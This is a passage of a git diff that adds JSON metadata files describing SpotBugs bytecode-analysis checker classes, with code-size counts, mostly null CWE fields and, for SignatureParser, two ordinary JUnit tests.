"cwe-description": null, + "checker-language": "java", + "loc": 287, + "branches": 28, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PathVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PathVisitor.json new file mode 100644 index 0000000..dd9a0e8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PathVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "PathVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PostDominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PostDominatorsAnalysis.json new file mode 100644 index 0000000..5c3a0dd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PostDominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "PostDominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 120, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneInfeasibleExceptionEdges.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneInfeasibleExceptionEdges.json new file mode 100644 index 0000000..c8ed881 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneInfeasibleExceptionEdges.json @@ -0,0 +1,13 @@ +{ + "name": "PruneInfeasibleExceptionEdges", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 186, + "branches": 17, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneUnconditionalExceptionThrowerEdges.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneUnconditionalExceptionThrowerEdges.json new file mode 100644 index 0000000..be79860 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneUnconditionalExceptionThrowerEdges.json @@ -0,0 +1,13 @@ +{ + "name": "PruneUnconditionalExceptionThrowerEdges", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 273, + "branches": 43, + "apis": 55, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PutfieldScanner.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PutfieldScanner.json new file mode 100644 index 0000000..5382653 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PutfieldScanner.json @@ -0,0 +1,13 @@ +{ + "name": "PutfieldScanner", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 85, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryClassParser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryClassParser.json new file mode 100644 index 0000000..eb27652 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryClassParser.json @@ -0,0 +1,13 @@ +{ + "name": "RepositoryClassParser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryLookupFailureCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryLookupFailureCallback.json new file mode 100644 index 0000000..4fbb5f9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryLookupFailureCallback.json @@ -0,0 +1,13 @@ +{ + "name": "RepositoryLookupFailureCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceTracker.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceTracker.json new file mode 100644 index 0000000..7dd5753 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceTracker.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceTracker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 18, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValue.json new file mode 100644 index 0000000..421101a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValue.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueAnalysis.json new file mode 100644 index 0000000..d9935be --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceValueAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 29, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrame.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrame.json new file mode 100644 index 0000000..822d5d2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrame.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceValueFrame", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrameModelingVisitor.json new file mode 100644 index 0000000..6596d73 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrameModelingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceValueFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 195, + "branches": 15, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPath.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPath.json new file mode 100644 index 0000000..6d31f56 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPath.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPath", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 8, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathAnalysis.json new file mode 100644 index 0000000..e27bdb5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPathAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 6, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathDataflow.json new file mode 100644 index 0000000..9f1b4e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPathDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 26, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDFSOrder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDFSOrder.json new file mode 100644 index 0000000..000cdce --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDFSOrder.json @@ -0,0 +1,13 @@ +{ + "name": "ReverseDFSOrder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDepthFirstSearch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDepthFirstSearch.json new file mode 100644 index 0000000..92e0253 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDepthFirstSearch.json @@ -0,0 +1,13 @@ +{ + "name": "ReverseDepthFirstSearch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReversePostOrder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReversePostOrder.json new file mode 100644 index 0000000..a2a921a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReversePostOrder.json @@ -0,0 +1,13 @@ +{ + "name": "ReversePostOrder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureConverter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureConverter.json new file mode 100644 index 0000000..b1d086f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureConverter.json @@ -0,0 +1,13 @@ +{ + "name": "SignatureConverter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 280, + "branches": 32, + "apis": 50, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureParser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureParser.json new file mode 100644 index 0000000..53b8611 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureParser.json @@ -0,0 +1,32 @@ +{ + "name": "SignatureParser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 286, + "branches": 35, + "apis": 35, + "test": [ + { + "description": "testNoParams", + "expected-problems": null, + "expected-linenumbers": [ + 10, + 15 + ], + "code": "@Test\n void testNoParams() {\n SignatureParser sut = new SignatureParser(\"()V\");\n Iterator i = sut.parameterSignatureIterator();\n Assertions.assertFalse(i.hasNext());\n }" + }, + { + "description": "testManyParams", + "expected-problems": null, + "expected-linenumbers": [ + 17, + 36 + ], + "code": "@Test\n void testManyParams() {\n SignatureParser sut = new SignatureParser(\"(IJFDZLjava/lang/String;B)Ljava/lang/Object;\");\n Iterator i = sut.parameterSignatureIterator();\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"I\");\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"J\");\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"F\");\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"D\");\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"Z\");\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"Ljava/lang/String;\");\n Assertions.assertTrue(i.hasNext());\n Assertions.assertEquals(i.next(), \"B\");\n Assertions.assertFalse(i.hasNext());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SimplePathEnumerator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SimplePathEnumerator.json new file mode 100644 index 0000000..dde0015 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SimplePathEnumerator.json @@ -0,0 +1,13 @@ +{ + "name": "SimplePathEnumerator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 163, + "branches": 11, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFile.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFile.json new file mode 100644 index 0000000..a327e12 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFile.json @@ -0,0 +1,13 @@ +{ + "name": "SourceFile", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 235, + "branches": 21, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFileDataSource.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFileDataSource.json new file mode 100644 index 0000000..84eba04 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFileDataSource.json @@ -0,0 +1,13 @@ +{ + "name": "SourceFileDataSource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFinder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFinder.json new file mode 100644 index 0000000..4fb7d1b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFinder.json @@ -0,0 +1,13 @@ +{ + "name": "SourceFinder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 645, + "branches": 50, + "apis": 99, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceInfoMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceInfoMap.json new file mode 100644 index 0000000..7ebcfd4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceInfoMap.json @@ -0,0 +1,13 @@ +{ + "name": "SourceInfoMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 455, + "branches": 47, + "apis": 63, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepth.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepth.json new file mode 100644 index 0000000..8f5dc0e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepth.json @@ -0,0 +1,13 @@ +{ + "name": "StackDepth", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepthAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepthAnalysis.json new file mode 100644 index 0000000..8d559b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepthAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "StackDepthAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 161, + "branches": 11, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Target.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Target.json new file mode 100644 index 0000000..01783c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Target.json @@ -0,0 +1,13 @@ +{ + "name": "Target", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TargetEnumeratingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TargetEnumeratingVisitor.json new file mode 100644 index 0000000..10a44cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TargetEnumeratingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "TargetEnumeratingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 175, + "branches": 10, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TestCaseDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TestCaseDetector.json new file mode 100644 index 0000000..1175a28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TestCaseDetector.json @@ -0,0 +1,13 @@ +{ + "name": "TestCaseDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 6, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPath.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPath.json new file mode 100644 index 0000000..eea3a1d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPath.json @@ -0,0 +1,13 @@ +{ + "name": "URLClassPath", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 499, + "branches": 47, + "apis": 56, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPathRepository.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPathRepository.json new file mode 100644 index 0000000..2bd5650 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPathRepository.json @@ -0,0 +1,13 @@ +{ + "name": "URLClassPathRepository", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 205, + "branches": 13, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXField.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXField.json new file mode 100644 index 0000000..b560c5f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXField.json @@ -0,0 +1,13 @@ +{ + "name": "UnresolvedXField", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 151, + "branches": 7, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXMethod.json new file mode 100644 index 0000000..86e09d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXMethod.json @@ -0,0 +1,13 @@ +{ + "name": "UnresolvedXMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 309, + "branches": 8, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XClass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XClass.json new file mode 100644 index 0000000..5466496 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XClass.json @@ -0,0 +1,13 @@ +{ + "name": "XClass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 14, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XFactory.json new file mode 100644 index 0000000..65b5643 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XFactory.json @@ -0,0 +1,13 @@ +{ + "name": "XFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 728, + "branches": 60, + "apis": 138, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XField.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XField.json new file mode 100644 index 0000000..785e7f3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XField.json @@ -0,0 +1,13 @@ +{ + "name": "XField", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethod.json new file mode 100644 index 0000000..a814bd0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethod.json @@ -0,0 +1,13 @@ +{ + "name": "XMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 228, + "branches": 11, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethodParameter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethodParameter.json new file mode 100644 index 0000000..23ae2d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethodParameter.json @@ -0,0 +1,13 @@ +{ + "name": "XMethodParameter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ZipSourceFileDataSource.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ZipSourceFileDataSource.json new file mode 100644 index 0000000..a1be263 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ZipSourceFileDataSource.json @@ -0,0 +1,13 @@ +{ + "name": "ZipSourceFileDataSource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 6, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Binding.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Binding.json new file mode 100644 index 0000000..89381ce --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Binding.json @@ -0,0 +1,13 @@ +{ + "name": "Binding", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/BindingSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/BindingSet.json new file mode 100644 index 0000000..b13f76b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/BindingSet.json @@ -0,0 +1,13 @@ +{ + "name": "BindingSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 7, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePattern.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePattern.json new file mode 100644 index 0000000..a384218 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePattern.json @@ -0,0 +1,13 @@ +{ + "name": "ByteCodePattern", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 131, + "branches": 8, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePatternMatch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePatternMatch.json new file mode 100644 index 0000000..8d95c47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePatternMatch.json @@ -0,0 +1,13 @@ +{ + "name": "ByteCodePatternMatch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldAccess.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldAccess.json new file mode 100644 index 0000000..3bd7b2f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldAccess.json @@ -0,0 +1,13 @@ +{ + "name": "FieldAccess", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 125, + "branches": 12, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldVariable.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldVariable.json new file mode 100644 index 0000000..19ce1be --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldVariable.json @@ -0,0 +1,13 @@ +{ + "name": "FieldVariable", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 117, + "branches": 6, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/IfNull.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/IfNull.json new file mode 100644 index 0000000..c6ff9cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/IfNull.json @@ -0,0 +1,13 @@ +{ + "name": "IfNull", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Invoke.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Invoke.json new file mode 100644 index 0000000..9d8d8a6 --- /dev/null +++ b/Raw Data/Static Analysis 